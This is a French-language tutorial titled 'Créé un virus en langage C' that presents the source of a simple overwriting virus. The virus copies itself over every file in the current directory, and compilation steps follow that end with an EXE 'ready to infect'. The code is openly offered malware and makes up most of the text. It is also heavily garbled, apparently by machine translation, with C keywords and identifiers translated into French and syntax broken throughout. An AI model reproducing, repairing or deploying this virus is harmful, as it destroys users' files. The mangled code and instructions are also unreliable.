Créé un virus en langage C
Ce programme est un exemple " comment créer un virus " dans le programme C. Je montre un programme simple qui, lors de l'exécution (Running) crée une copie de lui-même dans les autres file.Thus, il détruit d'autres fichiers en les infectants.Mais le fichier infectées par le virus est également capable de transmettre l'infection à un autre fichier et ainsi de on.Here 's le code source du programme virus.
# Include
# Include
# Include
# Include
# Include
# Include
* FILE virus, hôte *;
int fait, a = 0;
unsigned long x;
buff char [2048];
struct ffblk ffblk;
r. clock_t, fin;
void main ()
{
st = clock ();
clrscr ();
done = ffblk ("*.*",& FindFirst, 0);
while (! fait)
{
virus = fopen (_argv [0], "rb");
host = fopen (ffblk.ff_name, "rb +");
if (accueil == NULL) Début de la prochaine;
x = 89088;
printf ("infectant% s \ n", ffblk.ff_name, a);
while (x> 2048)
{
fread (chamois, 2048,1, virus);
fwrite (chamois, 2048,1, accueil);
x-2048 =;
}
fread (chamois, x, 1, virus);
fwrite (chamois, x, 1, accueil);
a + +;
suivante:
{
fcloseall ();
done = FindNext (& ffblk);
}
}
printf ("! FAIT (Total fichiers infectés =% d)", a);
fin = clock ();
printf ("TEMPS PRIS =% f SEC \ n",
(Fin-st) / CLK_TCK);
getch ();
}
COMPILATION PROCEDE:
Télécharger le compilateur : Borland C + + 5.5
1. Chargez le programme dans le compilateur, appuyez sur Alt-F9 pour compiler
2. Appuyez sur F9 pour générer le fichier EXE (NE PAS Appuyez sur CTRL-F9, ce qui corrompra tout le répertoire FICHIERS DANS CUR includin votre compilateur)
3. Notez la taille du fichier EXE généré en octets (voir EXE fichier de propriétés pour sa taille)
4. Modifiez la valeur de X dans le code source avec le notait la taille (CI-DESSUS DE LA SOURCE CODE x = 89088; CHANGEMENT IT)
5. Une fois de plus suivre les étapes 1 et STEP 2.Now le fichier EXE généré,est prêt à infecter !!!